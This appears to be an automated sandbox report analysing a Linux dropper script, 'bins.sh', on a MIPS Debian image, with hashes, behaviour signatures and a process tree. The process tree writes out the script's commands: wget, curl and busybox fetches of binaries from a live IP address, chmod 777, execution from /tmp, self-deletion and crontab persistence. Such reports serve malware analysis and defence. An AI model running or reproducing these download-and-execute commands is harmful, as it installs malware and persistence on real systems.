Analysis

  • max time kernel
    123s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 13:57

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5875b85f6a853bb5dc85b0a88a7be4b0

  • SHA1

    337556771a06e87851fd63266f40c71a79114b52

  • SHA256

    a2c7fd804328b2924ca9e0ae30caa8826786bd905f1bf0c66a85fddc50fe1f7a

  • SHA512

    b113dead6c232f3cba3dda0283cd0c8fbaa1e7b1d1d06ee63a7d084871ac0f8464efb6797f14f47f10728e58a2e68fb602e41e986c17eea55d99b87bfb0b1f21

  • SSDEEP

    192:rLIRRHWiihpWPE8Mum+Nh8vRRHWiARpXum+NhP:rLVDWMPr

Malware Config

Signatures

  • Contacts a large (1558) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:710
        • /usr/bin/wget
          wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          ./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            ./v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:746
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:748
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:749
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:750
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:751
                • /bin/rm
                  rm v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
                  2⤵
                    PID:753
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                    2⤵
                      PID:756
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                      2⤵
                        PID:757
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                        2⤵
                        • Writes file to tmp directory
                        PID:807
                      • /bin/chmod
                        chmod 777 mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                        2⤵
                        • File and Directory Permissions Modification
                        PID:852
                      • /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                        ./mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                        2⤵
                        • Executes dropped EXE
                        PID:854
                      • /bin/rm
                        rm mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                        2⤵
                          PID:858
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                          2⤵
                            PID:859

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /var/spool/cron/crontabs/tmp.ILlwL9

                          Filesize

                          210B

                          MD5

                          cea97c2a0dfad47df9e6c46c05ffe420

                          SHA1

                          32603b039ad72e622d69814320142c9d474b05d3

                          SHA256

                          1053d86c65b05a37397ab7229f1035ad074e8801ba88317356bdefc98b6b51d7

                          SHA512

                          5ef0db6bd363b79e99570e22179c282440de7b2bcd179cd41c880dd4e9c841cd22c98068161859014b490fc2c5806fbab23f9f0c6d4dba072e92323fbbdf8029